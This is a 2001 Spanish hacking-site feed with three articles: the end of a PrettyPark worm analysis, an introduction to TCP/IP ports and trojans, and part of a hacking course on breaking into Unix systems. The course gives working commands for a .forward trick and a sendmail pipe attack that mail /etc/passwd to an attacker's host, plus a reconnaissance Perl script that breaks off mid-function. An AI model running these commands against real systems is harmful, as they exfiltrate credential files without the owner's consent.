<p>Extrae datos acerca de la versión de Windows. Extrae datos del panel de control. Intenta averiguar si tenemos puertos de comunicaciones, COM1, COM2, y de impresora, LPT1 Averigua que protocolos tenemos instalados, si tenemos una DLL de autodialing, Extrae varios parámetros de comunicaciones, si tenemos proxi instalado o si nos conectamos a un proxi. Averigua si estamos capacitados para hacer pings, ¡¡Otia!!, ¿el pretty park hace pings?</p>
<p>Cuando FILES32.vxd entra en ejecución, hace exactamente los mismos accesos y consultas que el fichero Pretty Park.exe, de echo son los dos del mismo tamaño, de echo son el mismo fichero, pero cambiado de nombre.</p>
<p>Ejecutando nuevamente Pretty Park.exe con el programa filemon.exe activado, observamos como hace accesos de lectura a PrettyPark.exe y de escritura a FILES32.VXD, o sea, un proceso de copia.</p>
<p>En el fichero filemonlog.LOG, los accesos de &#8220;???&#8221; son del sistema operativo. Y por último, puede hayar la causa de por qué Pretty park no mostró en mi máquina los sintomas de su ejecución, la activación del salvapantallas de tuberías.</p>
<p>568 23:37:26 Files32 Attributes C:\WINDOWS\SSPIPES.SCR NOTFOUND GetAttributes</p>
<p> Lokutus, asimilando la red.</p>
<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://www.hackindex.com/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" alt="Share/Bookmark"/></a> </p>

<p>No related posts.</p>
<p>Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.hackindex.com/index.php/2001/06/apreti-pass/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>La novena puerta</title>
		<link>http://www.hackindex.com/index.php/2001/06/la-novena-puerta/</link>
		<comments>http://www.hackindex.com/index.php/2001/06/la-novena-puerta/#comments</comments>
		<pubDate>Fri, 15 Jun 2001 22:15:07 +0000</pubDate>
		<dc:creator>NBK</dc:creator>
				<category><![CDATA[Articulos]]></category>
		<category><![CDATA[Protocologia]]></category>
		<category><![CDATA[cliente/servidor]]></category>
		<category><![CDATA[hackindex]]></category>
		<category><![CDATA[ip]]></category>
		<category><![CDATA[nbk]]></category>
		<category><![CDATA[protocolos]]></category>
		<category><![CDATA[puertos]]></category>
		<category><![CDATA[redes]]></category>
		<category><![CDATA[tcp]]></category>
		<category><![CDATA[tcp/ip]]></category>
		<category><![CDATA[telecomunicaciones]]></category>
		<category><![CDATA[teoria de redes]]></category>

		<guid isPermaLink="false">http://www.hackindex.com/?p=233</guid>
		<description><![CDATA[##################################### ## HACKINDEX ## ## http://www.hackindex.org ## ##################################### Titulo: La novena puerta Autor: NBK Tema: Protocología La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información. El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuído de [...]


No related posts.

Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<p>#####################################<br />
## HACKINDEX ##<br />
## <a href="http://www.hackindex.org">http://www.hackindex.org</a> ##<br />
#####################################<br />
Titulo: La novena puerta<br />
Autor: NBK<br />
Tema: Protocología</p>
<p>La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información.</p>
<p>El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuído de forma totalmente libre y sobre cualquier tipo de soporte siempre y cuando se respete el formato original, se cite a A.H.E. como fuente, se incluya un enlace actualizado al documento o a la web del grupo: <a href="http://www.hackindex.org">http://www.hackindex.org</a> ; y se incluya este disclaimer en su totalidad y sin modificación alguna.</p>
<p>Queda extrictamente prohibida su distribución con fines lucrativos, cuando se altere su contenido sin consentimiento o cuando se incumpla cualquier otra condicion citada anteriormente en el presente disclaimer.<br />
#####################################</p>
<p>Introduccion: &#8212;&#8212;&#8212;&#8212;-</p>
<p> </p>
<p>El siguiente articulo no pretende en modo alguno entrar en detalle en ningun protocolo o subtrocolo en concreto y debe ser considerado como una mera introduccion a ciertos conceptos basicos para la mejor comprension de las redes y la terminologia utilizada tan a menudo en los textos tecnicos.</p>
<p> </p>
<p>Su cometido es puramente educativo y como tal intrinsicamente positivo en si mismo. ///////////////</p>
<p> </p>
<p> </p>
<p> TCP/IP y la filosofia Cliente/Servidor, puertos y protocolos.</p>
<p> &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p> </p>
<p>El TCP/IP (Transfer Control Protocol/Internetwork Protocol), es la base en la que se sustentan las comunicaciones en red modernas. Es un -Protocolo-, es decir una convencion, un lenguaje que hace posible el intercambio de paquetes de informacion a traves de la red entre diferentes ordenadores, definiendo una serie de reglas comunes a tal fin. Nos referimos a paquetes porque literalmente la informacion es dividida en bloques para optimizar la comunicacion.</p>
<p> </p>
<p>Es un protocolo, pero existen numerosos -Subprotocolos- alrededor de el, muchos de los cuales usamos a diario aun sin ser conscientes de ello.</p>
<p> </p>
<p>Cuando nos conectamos a la red, a traves de nuestro proveedor, necesitamos tener instalado en nuestra maquina un controlador TCP/IP, necesario para el intercambio de paquetes (informacion) en la Red. Pero para hacer uso de los subprotocolos necesitamos un programa -Cliente-, un cliente no es mas que lo que podriamos denominar un &#8220;interprete&#8221;, de alguna manera es como si el TCP/IP fuese el &#8220;idioma oficial&#8221; y los subprotocolos basados en el sus diferentes &#8220;dialectos&#8221;.</p>
<p> </p>
<p>Uno de estos subprotocolos, y el mas interesante para nosotros sera el -Telnet-, practicamente todos los sistemas operativos incluyen un cliente Telnet, si usais Windows tan solo debereis abrir una sesion de MsDos y escribir &#8220;telnet&#8221;, a continuacion aparecera en pantalla la aplicacion cliente preparada para conectar con un -Servidor-, que no es mas que otro ordenador con una aplicacion servidora.</p>
<p> </p>
<p>Para aprender mas sobre este y otros protocolos asociados os remito al articulo de Seldon titulado: Manual de referencia de FTP, Telnet, correo y news. Donde tambien se entro en el tema de puertos entre otras cosas.</p>
<p> </p>
<p>Bien, algo tremendamente importante de entender es la necesidad de un programa para la utilizacion de cualquier protocolo, tanto en el lado Servido como en el Cliente. Si navegamos por la Red el protocolo usado sera el HTTP (Hyper Text Transfer Protocol), y es nuestro Browser (Navegador) el software que actua como interprete de este protocolo para nosotros. Cuando exploramos Internet nosotros disponemos de un navegador en nuestra maquina (este el programa cliente) mientras que, al otro lado, alla donde se encuentren las paginas que buscamos, existira un programa servidor. Cuando solicitamos una pagina web escribiendo su direccion en el navegador (por ejemplo http://www.hackindex.org ) este requerira una copia de la pagina a la aplicacion servidora que se encuentra en un ordenador remoto, utilizando el protocolo HTTP (es por esto que se pone al principio de cada direccion url). El software servidor recibe la peticion y te manda la pagina web a tu ordenador, donde tu cliente (navegador) hara las operaciones oportunas para mostrartela tal y como esta existe en el ordenador servidor. Recuerda siempre que la pagina web es recreada en -tu- maquina, esta es una de las claves de la filosofia Cliente/Servidor y la que hace posible que un solo ordenador servidor pueda ofrecer la misma pagina a multiples -clientes-.</p>
<p> </p>
<p>Espero que en este punto, os haya ayudado a comprender mejor el modelo Cliente/Servidor y como ambos lados de la moneda utilizan un protocolo en concreto para entenderse.</p>
<p> </p>
<p>Empezamos el baile de terminos:</p>
<p> </p>
<p>La aplicacion que se encuentra en el ordenador servidor se denomina tambien -Servicio-, y no es dificil de entender ya que presta un &#8220;servicio&#8221; a nuestras aplicaciones clientes, en el caso anterior &#8220;sirve&#8221; paginas web a peticion nuestra. Pero este es solo un tipo de servicio disponible.</p>
<p> </p>
<p>A estos servicios accederemos a traves de -Puertos-, que no son mas que numeros asignados a cada servicio y que sirven para discernir a que servicios van dirigidas nuestras peticiones. El concepto puerto es tan solo &#8220;logico&#8221;, es decir, conviene no olvidar que no existen en realidad fisicamente. Esto es a menudo objeto de confusion ya que existen puertos de comuniciones -fisicos- en nuestro ordenador, usualmente nuestro modem estara conectado a nuestro puerto fisico &#8220;COM-1&#8243; o &#8220;COM-2&#8243;, pues bien, podriamos imaginarnos esta interface fisica como un gran portal al que llega un cartero con un saco lleno de cartas, algunas de estas cartas irian dirigidas al piso 21, otras al 23, etc, en cada piso viviria un servicio&#8230;.o lo que es lo mismo un programa que ofreceria algun tipo de servicio basado en un protocolo especifico, cada vecino hablaria un lenguaje diferente&#8230;y si esa carta no esta escrita en el lenguaje apropiado nunca seria entendida por este.</p>
<p> </p>
<p>Pero este tan solo seria un ejercicio de imaginacion para comprender mejor toda la historia ya que, como he dicho, el concepto puerto es completamente virtual.</p>
<p> </p>
<p>Los puertos serian pues caminos virtuales por los que correria informacion (paquetes) en un determinado lenguaje (protocolo) entre un programa cliente y otro servidor. Y siempre, el cliente hara una peticion&#8230;..y el servidor ofrecera respuesta.</p>
<p> </p>
<p>Usualmente, los servicios mas utilizados, como Telnet, FTP, HTTP&#8230;&#8230; tienen unos numeros de puerto asignados por defecto, esto es mas una convencion que otra cosa, es necesario estar abierto a sorpresas en lo referente a numeros. Por ejemplo el HTTP suele tener asignado el puerto numero 80, el Telnet el 23, etc&#8230;. En cambio es comun ver servidores web a traves del puerto 8080, o Telnet mas arriba del puerto 1024.</p>
<p> </p>
<p>No es una contradiccion, pensar en ello como que alguien movio el programa al piso de arriba y solo es posible acceder a el tocando a esa nueva puerta. El hecho de que tradicionalmente se usen unos determinados numeros de puerto es tan solo para que la labor de busqueda de un servicio sea mas intuitiva, de manera que si buscas Telnet primero miraras si en el puerto 23 esta disponible dicho servicio.</p>
<p> </p>
<p>Esto tiene conotaciones claras en lo que a seguridad de redes se refiere, los administradores sabedores de la utilizacion tradicional de estos puertos solemos ubicarlos en numeros diferentes, de manera que su localizacion no sea inmediata, y se requiera un -scaneo- en profundidad.</p>
<p> </p>
<p>Scanear un ordenador no es mas que barrer sus puertos en busca de servicios activos, este puede ser -selectivo- en busca de puertos concretos o mas usuales, o -completo- un chequeo secuencial uno a uno de todos los puertos, los numeros validos de puerto van del 1 al 65535, y en principio cualquier servicio puede ser asignado a cualquier puerto aunque se recomiende cierta coherencia o se ansie segun nos vaya el baile.</p>
<p> </p>
<p>Algo con lo que a menudo podremos encontrarnos es con -Traps-, esto son, trampas. Como si de queso en una ratonera se tratase es posible hacer parecer que, por ejemplo, el puerto 23 ofrece Telnet cuando en realidad tan solo se trata de una aplicacion colocada en dicho puerto para, en el mejor de los casos entorpecer la exploracion de dicho ordenador remoto. Es facil pensar en cosas que hacer con una persona que entro por la puerta equivocada, y obviamente, no es de la casa.</p>
<p> </p>
<p>Un ejemplo claro de lo expuesto arriba lo teneis en los tan populares anti-bo, anti-netbus, anti-todo.</p>
<p> </p>
<p>Los troyanos como el NetBus, como aplicaciones servidoras que son, ofrecen sus servicios por un determinado puerto, este puerto, sea cual sea el numero e independientemente del troyano que hablemos, hara muy probablemente uso de un puerto -Registrado-. Se denomina puerto registrado a los puertos altos, por encima del 1024, y hasta el 49151, que tradicionalmente se destinan a aplicaciones que no entran dentro de los servicios clasicos ofrecidos por los servidores, y que pueden ser utilizados por programas ejecutados por usuarios ordinarios.</p>
<p> </p>
<p>Resumiendo, si estas infectado con el NetBus, este permanecera a la escucha por ejemplo por el puerto 1234. Sabedores de esto, y si disponemos de un cliente de NetBus, podriamos escanear diferentes ordenadores en busca de dicho servidor en ese puerto 1234, y simplificando una tanto podriamos conectarnos con el a traves de dicho puerto si conseguimos localizar alguna maquina infectada.</p>
<p> </p>
<p>Estas aplicaciones Anti-Troyanos, suelen escuchar en los mismos puertos donde se supone que los troyanos operan por defecto pero en el momento que alguien intenta una comunicacion por ese puerto el programa contesta con algun mensaje airado o quizas algo peor.</p>
<p> </p>
<p>Luego es algo parecido al concepto de &#8220;trampa&#8221; del que hablabamos.</p>
<p> </p>
<p>Los puertos, al menos los -Well Known Ports-, o los puertos bien conocidos, estan documentados, es decir existe informacion sobre los servicios que habitualmente se ofrecen por ellos y sus protocolos asociados. Existen listas disponibles, y en general a partir del puerto 1024 deben ser consideradas como meramente orientativas. Los troyanos han cobrado tal notoriedad que a menudo sustituyen en estas listas a los servicios ofrecidos tradicionalmente en ciertos puertos, o incluso existen listas de troyanos y sus puertos asociados.</p>
<p> </p>
<p>Me gustaria recordar brevemente algo sobre los puertos, para que en lo que en mi mano este paliar posibles sustos inecesarios o alarmas injustificadas.</p>
<p> </p>
<p>Demasiado a menudo leo: &#8220;Han intentado atacarme con el BO por el puerto 31337&#8243;, &#8220;Intentaron entrarme por el puerto 5666&#8243;;&#8230;&#8230; Las mas de las veces estos pequeños sobresaltos son producidos por paquetes que llegan a nuestro ordenador buscando un servidor en un puerto, casi siempre producto de scaneos aleatorios, o de conexiones erroneas del cliente llamando al servidor. Por supuesto estoy hablando de comunicaciones -InBound-, es decir, paquetes entrantes.</p>
<p> </p>
<p>Cada vez mas normalmente, la gente mas o menos informada instala software -Firewall- en sus maquinas para controlar el flujo de informacion saliente y entrante. Los firewall son algo asi como &#8220;corta fuegos&#8221; virtuales, tanto en su version fisica (ordenadores dedicados) como software (paquetes de seguridad como AtGuard, o Zone Alarm) actuan analizando los paquetes que se envian y reciben, determinando en base a su configuracion si deben ser permida o no su emision o recepcion.</p>
<p> </p>
<p>Una persona que disponga de un cliente de cualquier troyano disponible intentara encontrar ordenadores infectados con su servidor, para ello lanzara paquetes al puerto en el que crea pueda estar este a la escucha. Esto provocara que el firewall nos avise de que &#8220;una comunicacion entrante ha sido detectada por el puerto xxxxx&#8221;, donde xxxxx puede ser cualquier cosa.</p>
<p> </p>
<p>Esto no significa que estemos infectados por ningun troyano, tan solo podemos afirmar con &#8220;cierta&#8221; seguridad que alguien probo suerte. Y digo &#8220;cierta&#8221; seguridad, porque si alguien quisiera saber que servicios ofrece vuestro ordenador y efectuara un scaneo en completo de la maquina recibiriais por lo bajo 65000 paquetes en otros tantos puertos y esto no significaria mas que eso, un scaneo de fortuna.</p>
<p> </p>
<p>Si no podemos suponer infeccion alguna por recibir un paquete en un puerto equivocado, menos aun podemos suponer que alguien intenta &#8220;colarnos&#8221; algo por debajo de la puerta.</p>
<p> </p>
<p>Como hemos visto, un puerto en si mismo es pura virtualidad&#8230;nada sin un software detras, por lo tanto, un puerto abierto no supone riesgo siempre que no exista comunicacion a traves de el entre un programa cliente y otro servidor.</p>
<p> </p>
<p>Otra actitud debemos adoptar si en cambio, los paquetes que detecta nuestro firewall fueran salientes, OutBound, ya que en ese caso una aplicacion que se encuentre -detras- del firewall, es decir en nuestra maquina o red, intenta el envio de un paqueta, ya sea iniciando una comunicacion o como contestacion a una peticion proveniente de algun lugar.</p>
<p> </p>
<p>No obstante, si detectamos esto es gracias al firewall y, por tanto, dicho paquete puede ser obligado a no enviarse, de manera que incluso si estuvieramos infectados con algun tipo de software servidor no deseado no seria posible la comunicacion con un hipotetico cliente. Por lo que se impondria la calma y la posterior deteccion y desinfeccion (antivirus)&#8230;.sin mayor alarma.</p>
<p> </p>
<p>Otro tema delicado es la configuracion correcta de firewalls y demas software de seguridad mas o menos domestica, pero no es mi proposito ahora avanzar mas en ese sentido.</p>
<p> </p>
<p>Lo fundamental, y si algo en claro debemos sacar de este escrito, es que en el campo del TCP/IP se juega un gran partido de futbol, en el cual juega el Cliente F.C. contra el Servidor Utd, y donde los jugadores (de todas las nacionalidades) pueden jugar casi en cualquier puesto,,,,aunque muchas veces&#8230;.. &#8230;.adivinemos la alineacion.</p>
<p> </p>
<p>&#8220;Ser justos, Ser malos.&#8221;</p>
<p> </p>
<p>&#8211; N.B.K. <a href="http://www.hello.to/nbk">www.hello.to/nbk</a> &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>Si este mundo no es serio, tratalo como se merece.</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://www.hackindex.com/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" alt="Share/Bookmark"/></a> </p>

<p>No related posts.</p>
<p>Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.hackindex.com/index.php/2001/06/la-novena-puerta/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Curso práctico de hacking (CPH) III</title>
		<link>http://www.hackindex.com/index.php/2001/06/curso-practico-de-hacking-cph-iii/</link>
		<comments>http://www.hackindex.com/index.php/2001/06/curso-practico-de-hacking-cph-iii/#comments</comments>
		<pubDate>Fri, 15 Jun 2001 22:14:50 +0000</pubDate>
		<dc:creator>Lecter</dc:creator>
				<category><![CDATA[Acceso a las cosas remotas]]></category>
		<category><![CDATA[Articulos]]></category>
		<category><![CDATA[Cursos]]></category>
		<category><![CDATA[ataques dos]]></category>
		<category><![CDATA[cph]]></category>
		<category><![CDATA[curso de hacking]]></category>
		<category><![CDATA[defectos de configuracion]]></category>
		<category><![CDATA[exploits]]></category>
		<category><![CDATA[fallos de seguridad]]></category>
		<category><![CDATA[hackeando]]></category>
		<category><![CDATA[hackindex]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[hijacking]]></category>
		<category><![CDATA[ingenieria social]]></category>
		<category><![CDATA[ip spoofing]]></category>
		<category><![CDATA[lecter]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[mala configuracion]]></category>
		<category><![CDATA[tecnicas de acceso remoto]]></category>
		<category><![CDATA[unix]]></category>
		<category><![CDATA[webs hostiles]]></category>

		<guid isPermaLink="false">http://www.hackindex.com/?p=236</guid>
		<description><![CDATA[##################################### ## HACKINDEX ## ## http://www.hackindex.org ## ##################################### Titulo: Curso práctico de hacking III Autor: Lecter Tema: Acceso a las cosas remotas La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información. El siguiente documento es propiedad de HackIndex y de [...]


No related posts.

Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<p>#####################################<br />
## HACKINDEX ##<br />
## <a href="http://www.hackindex.org">http://www.hackindex.org</a> ##<br />
#####################################<br />
Titulo: Curso práctico de hacking III<br />
Autor: Lecter<br />
Tema: Acceso a las cosas remotas</p>
<p>La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información.</p>
<p>El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuído de forma totalmente libre y sobre cualquier tipo de soporte siempre y cuando se respete el formato original, se cite a A.H.E. como fuente, se incluya un enlace actualizado al documento o a la web del grupo: <a href="http://www.hackindex.org">http://www.hackindex.org</a> ; y se incluya este disclaimer en su totalidad y sin modificación alguna.</p>
<p>Queda extrictamente prohibida su distribución con fines lucrativos, cuando se altere su contenido sin consentimiento o cuando se incumpla cualquier otra condicion citada anteriormente en el presente disclaimer.<br />
#####################################</p>
<p>CURSO PRACTICO DE HACKING&#8212;3a entrega</p>
<p>Estimados estudiantes del  CPH, en esta entrega nos  centraremos ya en<br />
las  artima=F1as para la  visitacion del  objetivo que  antes habiamos<br />
escudrinyado  (a partir  de ahora  usare la  ny para  denotar  la enye<br />
espanyola ya  que puede verse mal  en ciertos casos).  Tengo ahora que<br />
hacer un poco de &#8220;disclaiming&#8221;  (lavarme las manos) acerca del uso que<br />
pudiera darse a lo que os  contare en este capitulo y el siguiente. La<br />
visita que vamos a hacer no es  con permiso del due=F1o y por lo tanto<br />
se incurriria en un &#8220;allanamiento  de morada informatica&#8221; si se emplea<br />
por &#8220;el lado  oscuro de la fuerza&#8221;=2E Esta claro  que hemos de dominar<br />
los  sistemas y  aprovechar  sus fallos  de  seguridad para  comprobar<br />
nuestros conocimientos,  pero podemos hacerlo  de manera sana:  o bien<br />
autohacking  o bien  establecer un  acuerdo con  el  administrador del<br />
sistema  que &#8220;hackeemos&#8221;  para  comprobar su  seguridad. De  cualquier<br />
manera el conocimiento es una flor con  la que la abeja hace la miel y<br />
la ara=F1a su veneno.</p>
<p>Vamos  a  repasar  algunas  de  las tecnicas  mas  adecuadas  para  el<br />
principiante y  luego vosotros mediante  el estudio y la  practica las<br />
sobrepasareis e  incluso ideareis algunas nuevas. Tened  en cuenta que<br />
eso es  lo que diferencia a  un lamer de unhacker:  el lamer desbarata<br />
sistemas  con las  herramientas  que el  hacker  inventa. Alguna  vez,<br />
podreis  penetrar un  sistema utilizando  un exploit,  por  ejemplo, y<br />
conseguir una shell de root&#8230;y quizas os sentireis contentos de haber<br />
alcanzado  tal  privilegio,&#8230;  pero  =BFHabeis  escrito  vosotros  el<br />
exploit?&#8230;Luego   quizas  instalareis   un  sniffer   y   una  puerta<br />
trasera&#8230;=BFpero  habeis hecho vosotros  esas herramientas?  Lo ideal<br />
seria  que programarais  algunas de  las herramientas  que utilizarais<br />
luego  en  vuestras incursiones,  y  si no  es  asi,  leed e  intentad<br />
comprender el codigo que utilizais.</p>
<p>Pero bueno, vamos al grano.</p>
<p>Un  saludo  para  los que  estan  siguiendo  el  CPH aunque  en  pleno<br />
verano. Saludos  a los  que vuelven, como  mi amigo  NBK que ya  lo he<br />
visto por  las news, y  a tantos otros.  Para los que se  han marchado<br />
como Crino,  Avalanche, etc&#8230;si  no encuentran algun  capitulo porque<br />
haya  expirado, etc,  al  final  voy a  intentar  ensamblar todos  los<br />
capitulos   en  un   solo  documento   comprimido  y   lo   dejare  en<br />
es.binarios.misc, para no consumir ancho de banda.</p>
<p>Saludos,</p>
<p>LECTER</p>
<p>CPH. CAPITULO 3.INTRODUCCION EN EL SISTEMA</p>
<p>En este capitulo consideraremos tecnicas de acceso remoto (a traves de<br />
la red)  y en el siguiente  estudiaremos el acceso  local, que tambien<br />
recibe el nombre  de &#8220;ataque con escalada de  privilegios&#8221;. Existe una<br />
progresion cuando  el atacante se  introduce de manera remota  y luego<br />
consigue el acceso a la shell local. Habra que alcanzar privilegios de<br />
root y mantenerlos, asi como  actuar sobre el sistema para adecuarlo a<br />
futuras visitas o a otros propositos.</p>
<p>Existen varios metodos fundamentales para introducirnos remotamente en<br />
un sistema unix:</p>
<p>(1) Fallos  de  seguridad  de  aplicaciones basadas  en  el  protocolo<br />
TCP/IP.</p>
<p>(2) Defectos de  configuracion en los servicios  de red NFS,  NIS y en<br />
formularios web.</p>
<p>(3) Mala configuracion en los  archivos hosts.equiv y .rhosts y empleo<br />
de los llamados &#8220;comandos *r de unix&#8221;.</p>
<p>(4) Exploits para ciertos procesos que  se basan en bugs de los mismos<br />
o  en ataques para  desbordar la  pila del  proceso y  ejecutar codigo<br />
arbitrario  que permiten  conseguir  una shell,  una  rootshell si  el<br />
proceso corresponde a un programa que tiene el bit setuid activado.</p>
<p>(5) Tecnicas oscuras: Ataques  DoS, IP Spoofing, hijacking, ingenieria<br />
social, web  hostiles&#8230;Estas tecnicas no  deberian usarse mas  que en<br />
situaciones  muy  criticas.  He  pensado dedicar  un  capitulo  final,<br />
despues del  de borrar las huellas para  incluir estos procedimientos,<br />
quiza con el titulo de &#8220;la mitad oscura&#8221;.</p>
<p>Podemos emplearlas  de dos modos  diferentes para introducirnos  en el<br />
sistema: hacerlo directamente consiguiendo una cuenta en el objetivo o<br />
indirectamente haciendonos con el fichero /etc/passwd para crackearlo.</p>
<p>3.1. Fallos de seguridad en aplicaciones TCP/IP</p>
<p>3.1.1 TFTP (Trivial File Transfer Protocol)</p>
<p>Se trata  de una  transferencia de archivos  por udp. Se  utiliza para<br />
arrancar estaciones de trabajo o routers y esta basado como ya dije en<br />
udp escuchando  por el  puerto 69  ;-P. Si el  servidor TFTP  esta mal<br />
configurado, podemos conseguir el  fichero /etc/passwd. En las ultimas<br />
versiones quedan  configurados de manera  predeterminada para prohibir<br />
el  acceso a  cualquier  directorio excepto  /tftpboot.  Pero en  este<br />
directorio  existe informacion  comprometedora sobre  los  archivos de<br />
configuracion      de     los      routers      (generalmente     como<br />
&lt;nombrehostdelrouter&gt;.cfg)  y  los   intrusos  pueden  acceder  a  las<br />
contrase=F1as  de los  routers y  a las  cadenas SNMP  (Simple Network<br />
Management Protocol), con lo cual comprometeremos redes completas.</p>
<p>3.1.2 FTP</p>
<p>Muchos  servidores  mal configurados  permiten  tener acceso  anonimo,<br />
permitiendo  iniciar  una  sesion  sin necesidad  de  autenticacion  y<br />
pudiendo   acceder   a  toda   la   estructura   de  directorios   del<br />
sistema&#8230;Pero esto  son habas  contadas y muy  peregrino debe  ser el<br />
root para meter la pata de  ese modo.  Algunas veces me han hablado de<br />
servidores  FTP  que disponian  de  directorios  donde podia  escribir<br />
cualquiera,  con lo  cual  los atacantes  podrian  colocar un  fichero<br />
.rhosts (como  ya veremos) en el  directorio /home de  algun usuario y<br />
luego hacer un rlogin  sin autenticacion. Habia una estratagema basada<br />
en esto que permitia conseguir  el fichero /etc/passwd de modo curioso<br />
y sin magno artificio: Un  archivo .forward en el directorio /home/ de<br />
un usuario  dirige el correo a  una cuenta diferente  o ejecuta alguna<br />
instruccion  cuando  llega correo.  De  este  modo,  si escribimos  un<br />
fichero (en nuestra maquina atacante darkstar.us.es) lecter_forward de<br />
este modo:</p>
<p>$&gt;echo &#8220;/bin/mail <a href="mailto:lecter@darkstar.us.es">lecter@darkstar.us.es</a> &lt; /etc/passwd&#8221; &gt; lecter_forward</p>
<p>Luego nos conectamos por ftp al objetivo</p>
<p>$&gt;ftp objetivo.net</p>
<p>Si fuera posible escribir en /home/ftp/ podriamos hacer</p>
<p>ftp&gt;put lecter_forward .forward<br />
ftp&gt;quit</p>
<p>y luego mandamos un correo al &#8220;usuario ftp&#8221;</p>
<p>$&gt;echo hello chump | mail <a href="mailto:ftp@objetivo.net">ftp@objetivo.net</a></p>
<p>Cuando llegue  el correo se  ejecutara la instruccion contenida  en el<br />
fichero  .forward  y recibiremos  por  correo  el fichero  /etc/passwd<br />
 <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> )&#8230;Pero   a  mi   nunca  me   ha  funcionado.    Aparte   de  estas<br />
vulnerabilidades existen otras debidas a condiciones de desbordamiento<br />
del buffer  en versiones anteriores de  wu-ftp 2.4.2, pero  esto ya lo<br />
veremos en el epigrafe de los exploits.</p>
<p>3.1.3 SMTP</p>
<p>Aunque hay  otros mas seguros como  smail y qmail, sendmail  es el MTA<br />
(Mail Transfer  Agent) mas usado en  el mundo unix. Si  sendmail no se<br />
configura  adecuadamente,  puede  presentar  problemas  de  seguridad,<br />
ademas  de  los inherentes  a  fallos  y  vulnerabilidades del  propio<br />
programa. Una frase corriente hasta  hace poco tiempo (la seguridad de<br />
sendmail ha mejorado  bastante en los ultimos anyos)  era &#8220;Wellcome to<br />
the sendmail bug of the week!&#8221;.</p>
<p>Un ataque  con solera  (para la  version sendmail 4.1)  se baso  en la<br />
vulnerabilidad de la &#8220;sendmail  pipe&#8221;, que permitia al intrusoejecutar<br />
instrucciones mediante  sendmail con privilegios de  bin. En versiones<br />
anteriores a  sendmail 5.57 podiamos enviarnos  el fichero /etc/passwd<br />
simplemente haciendo:</p>
<p>$&gt;telnet objetivo.net 25<br />
=2E..<br />
helo<br />
=2E..<br />
mail from: &#8220;|/bin/mail <a href="mailto:lecter@darkstar.us.es">lecter@darkstar.us.es</a> &lt; /etc/passwd&#8221;<br />
rcpt to: johnsilver<br />
data<br />
=2E<br />
quit</p>
<p>Pero para  aprovechar los fallos de  sendmail es mejor  recurrir a los<br />
exploits como se vera en el correspondiente epigrafe.</p>
<p>3.2 Defectos de configuracion de servicios de red</p>
<p>3.2.1 NFS</p>
<p>Ya sabemos que  si el servicio nfs esta  mal configurado podemos hacer<br />
algunas  cosillas <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> ).  Si hacemos  un rpcinfo  -p objetivo.net  y nos<br />
encontramos  con   algunas  lineas  en  cuyos   puertos  escuchan  los<br />
servidores mountd y nfs, podemos mediante un showmount -e objetivo.net<br />
los directorios exportados.</p>
<p>En  caso de  que no  tuvieramos  un objetivo  concreto podemos  buscar<br />
maquinas con ficheros exportables mediante el script perl getdomain.pl<br />
de Invisible Evil, que muestro a continuacion:</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;/begin getdomain.pl&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
#!/usr/bin/perl</p>
<p># GetDomain By Nfin8 / Invisible Evil<br />
# Questions /msg i-e  or  /msg i^e<br />
#<br />
# Retrieve command line arguments.<br />
my($inputfile, $domain) =3D @ARGV;<br />
usage() if (!defined($inputfile) || !defined($domain));</p>
<p># Open and preprocess the input file.<br />
open(INFILE, &#8220;&lt;$inputfile&#8221;) or die(&#8220;Cannot open file $inputfile for reading!\n&#8221;);<br />
my(@lines) =3D &lt;INFILE&gt;;</p>
<p># Initialize main data structure.<br />
my(%hash) =3D {};<br />
my($key) =3D &#8220;&#8221;;</p>
<p>foreach (@lines) {<br />
$key =3D (split(/\ /))[0];<br />
chop($key);<br />
next if ((($key =3D~ tr/.//) &lt; 1) ||<br />
(uc($domain) ne uc(((split(/\./, $key))[-1]))) ||<br />
($key =3D~ m/root-server/i));<br />
$hash{$key}++;<br />
}</p>
<p># Close input file and output data structure to STDOUT.<br />
close(INFILE);</p>
<p>foreach (sort(keys(%hash))) {<br />
print &#8220;$_\n&#8221;;<br />
}</p>
<p>sub usage {<br />
print(&#8220;\n\ngetdomain:\n&#8221;);<br />
